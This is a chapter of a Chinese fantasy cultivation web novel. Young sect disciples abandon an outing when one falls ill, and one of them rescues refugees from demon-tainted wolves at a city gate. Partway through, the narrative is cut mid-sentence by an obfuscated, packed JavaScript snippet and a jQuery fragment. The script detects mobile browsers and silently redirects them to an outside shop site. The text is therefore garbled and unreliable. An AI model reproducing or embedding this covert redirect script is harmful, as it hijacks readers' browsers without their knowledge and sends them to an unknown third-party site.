李慕柔说:“其实门内赛没什么好看的,重头戏在第四日和第五日,到时候想看的绝招什么的全都能看到。而且镇岳门一向没什么悬念,最后的胜者非赵正宏莫属。”
她说罢幽幽地看向周晟鸣。
周晟鸣秒懂。
“我有个提议!”
“要么我们先去巨阵森林玩儿玩儿,等明天赶早回来,也不耽误下午的门内赛,如何?”
克制了许久的白芙第一个支持。
“同意!”
她高举双手,期待着徐月僚发话。
看着他们三个人发亮的眼睛,徐月僚也不好扫兴。
毕竟自她上次答应下来,也一直没能成行。
“行啊!我没意见。”
见徐月僚答应地爽快,李慕柔和周晟鸣直窃喜,两人迅速对了下眼神,不禁神采飞扬。
“耶!又可以出去逛喽!”
白芙左边的胳膊环着李慕柔,右边胳膊环着徐月僚,别提有多高兴了。
李慕柔叮嘱她:“小师妹,你等下可别一个人乱跑,否则迷路了万一遇到灵体什么的,不知道会出什么事!知道了吗?”
“嗯知道了,我这次绝对不会乱跑的!你们去哪儿我就去哪儿。”
徐月僚郑重道:“反正,再相信你最后一次!”
“知道了知道了!”
流云出了剑鞘,飞到他们脚下“唰”的变大。
李慕柔和徐月僚拉紧白芙的手一起跳了上去,周晟鸣踏着自己的飞剑跟在他们后面。
一行人直奔巨阵森林。
脚下的景色匆匆掠过,沉默的大地承载着世间万物,银装素裹。
行至一半时,李慕柔察觉到雪停了,风也变小了。
她挡在白芙身前,徐月僚紧挨着白芙的后背。
尽管两人把白芙护在中间,白芙还是冷得瑟瑟发抖。
“啊咻——”
白芙打了个喷嚏,李慕柔踩住流云使其稍稍倾斜,下降了一点高度并且减了速。
“啊咻——啊咻——啊咻——”
连着三个大喷嚏,吓得李慕柔赶紧停了飞剑。
她回过头,摸了摸白芙的额头。
“不会已经冻着了吧?”
“哎呀!怎么这么烫!阿月你快摸摸看!”
“真烧了?”
徐月僚半信半疑,她已经很多年不知风寒为何物了。
一伸手。
“哦呦,还真挺烫的!”
其实早上起来的时候,白芙就感觉身体不太舒服,但是她自己也不当回事。
徐月僚撇嘴,训话的口气中带着关心。
“这么贪玩儿啊?我说怎么一上午都格外乖巧,话也少了很多,原来是烧蔫儿了,既然发烧了为什么不说出来呢?还隐瞒病情。”
白芙小声嘀咕:“我觉得还好啊。”
周晟鸣来到他们身前。
“怎么不走了?”
徐月僚看了一眼白芙。
“大概是昨夜在大街上冻着了,感染了风寒,正发着烧呢!”
李慕柔决定先送白芙回幽南山。
“阿月、晟鸣,你们俩先去巨阵森林,我送她回沧渊,随后就去找你们。”
谁知徐月僚却说:“我跟你一起回去,我留在沧渊照顾她!巨阵森林我就不去了,仙门大比本来也没我什么事儿,就这么说定了!”
白芙急了。
“可是我想去看仙门大比,我不能去中州的药堂治吗?我还不想回沧渊阁呢!”
徐月僚敲了一下她的脑瓜。
“还贪玩儿!”
看着白芙红红的脸蛋儿,李慕柔陷入了犹豫。
“嗯……”
周晟鸣一点儿都不着急,反正这事儿他说了不算,他也不用费脑筋。
于是一面等待,一面东张西望。
“小师妹乖,你看这样好不好,现在我先送你回沧渊,你月师姐会照顾你,等到第三日下午的时候我再回沧渊一趟,若是你的烧退了,那我们就带你去中州看仙门大比!”
“阿嚏!”
打完喷嚏,白芙说了句“好”。
“晟鸣,我跟阿月先带小师妹会沧渊,你就先去巨阵森林等我吧!”
“行!”
他们离开后,剩下周晟鸣一个人,他也不想那么快赶往巨阵森林,免得自己运气不好遇到应付不来的事物。
周晟鸣坐在飞剑上慢慢悠悠地前行着,顺便欣赏欣赏眼下的风景。
“咦?那是什么?”
地面上,成群结队的黑点如同蚂蚁一般四处流窜。
“唉,反正不着急,下去看看去。”
他脚踏飞剑俯冲而去。
“爹爹!娘!”
“!”
飞剑祭出,却还是来不及阻止,周晟鸣亲眼看着一头野狼将一个小孩儿一口咬死了。
“遥风!”
扎进沙石里的飞剑遥风“咻”一下回到了周晟鸣手中。
那头野狼一甩头,那没了呼吸的孩子便“咚”的一声摔在了地上。
野狼的口中鲜血淋漓,它咬死了他,却不吃他。
“孽畜!”
“嗬!”
野狼朝周晟鸣扑了过来,而他根本没有给野狼靠近的机会。
他扎稳脚步,两掌同时用力前推,野狼腾空的身体就被周晟鸣祭出的无数冰刃刺成了筛子。
霎时间,它从半空中猛地砸到了雪地上,每一处窟窿眼儿都在“哗哗”地往外冒血。
鲜血浸湿地面,那头野狼很快就断了气,周晟鸣施法去探。
“又是妖气。”
人们仍在一路逃窜,周晟鸣纵身跃起,遥风便在脚下。
他的视线沿着大部队的方向一直望到了头阵。
“不好!它们进了中州!”
想到李慕柔一会儿就要去巨阵森林找他,心焦的周晟鸣望向幽南山的方向,表情严肃。
“太远了,信鸟根本飞不到,算了,先回中州。”
他破风而行,倏忽之间没了踪影。
中州城门外,负责把守的士兵死了一大片。
城门依旧紧闭。
“放箭!别停!快放箭!”
城门郎站在城楼之上大声呼喝着,弓箭手们一刻也不敢停下手中的动作,一箭接着一箭往下射去。
哀嚎声、祈求声、哭喊声、叫骂声不断。
“啊——”
“我的儿啊!”
“救我!”
“开门呐!”
“求仙家救救我们吧!”
“求求你们!让我们进去吧!”
“呜呜……”
“娘!娘——”
“救救我们!”
“狗屁仙家!”
“猪狗不如啊——”
发狂了的凶兽的牙齿毫不犹豫地咬穿了士兵们身上的铠甲。
“好疼……”
他们有的才十六岁。
城门郎不肯开门,只一味地大喊着“射箭呐”、“瞄准喽”。
对近在眼前的惨状视而不见、充耳不闻。
“孩子啊!”
“苍天呐!”
“!”
城门
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939080|213826||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
外,手持长枪的士兵死伤殆尽,只剩下手无寸铁的百姓们任由野狼们撕咬攻击。
还有足足十几头,它们兽性大发,在人群中肆虐无度。
在无尽的恐惧之下,大人们一层又一层,将孩子们围在最中间,形成了厚厚的人墙。
“你进去!换我在外面!快点!”
“他爹!”
“快!”
“没了你我们娘儿俩可怎么办呀?”
“怕什么!老子十八年后又是一条好汉!”
女人被里面的人一把拽了进去。
“哈哈平子,往日没见你这么爷们儿呢!”
“天杀的!今天就算身残了心也不能残!”
男人们推搡着、拉扯着女人,把他们换到最里面去。
有的男人临危不惧似的,半开着玩笑,实则也是为了给大家伙壮壮胆子。
最外围的每一个人,他们胳膊挎着胳膊,肩膀贴着肩膀,挤得严丝合缝。
“二虎,别怕!”
“我才不怕!”
“不怕你抖什么呀?”
“早知道,俺家丫头那会子央着我买饴糖的时候,我就应该答应了她的!”
浑浊的眼泪从眼角兀自流下,整个人却是一副铮铮如铁。
箭密如从,有的野狼们灵活地躲避着,有的则虎视眈眈地正伺机而动。
“备箭呐!”
“快备箭!”
“大公子呢?他来了吗?”
“呃应该快了!”
“怎么来得这么慢!再这么下去,城门外的人就都死球了!”
城门郎急得直跺脚。
“啊!”
“真TM疼——”
“!”
狼群开始再一次发起攻击了。
外围的男人们咬紧了牙关拼命扛着,只要腿没断,便硬着头皮等待赴死。
“嗖——”
“嗖——”
“嗖!”
一道道银剑穿透了野狼的心脏。
“救星来了!”
“歘!”
仓惶奔逃的野狼一个都跑不掉,一一死在了周晟鸣的遥风之下。
“那不是大公子!他是谁?”
城门郎往下压了压手掌,箭雨停了下来。
“恩人!”
“谢谢你救我们的命!”
终于安全了,人墙也松了,有的人叩拜感谢,有的人在血泊中寻找自己的亲人,还有的人抱在一起,痛哭不止。
“没事儿就好……”
“你有没有哪儿受伤?”
……
最后一滴血顺着遥风的利刃淌下,剑身恢复了洁净。
周晟鸣提剑指向城楼上的人厉声喊道:“开门!”
“呃开!这就开!”
城门郎赶紧跑下了楼,打开了城门。
城门内的地上,躺着两头奄奄一息的野狼,相隔不远。
稳步走入城中的周晟鸣施法将野狼体内的妖气凝聚至手心里。
黑雾缭绕,汇聚一团。
妖气一抽走,那两头恶狼瞬间断了气。
这时候,赵明光带着一队人马走了过来。
“呃呵呵,大公子来了。”
城门郎赶紧凑了过去,陪着笑。
“都搞定了?”
“嗯是,多亏了这位公子,那些野狼都已经死了,当然咱们的弓箭手也射杀了好几只。”
“周晟鸣,周公子。”
赵明光向城门郎介绍,同时向前伸出了右手。
周晟鸣瞧都没瞧他,散掉妖气径直走了。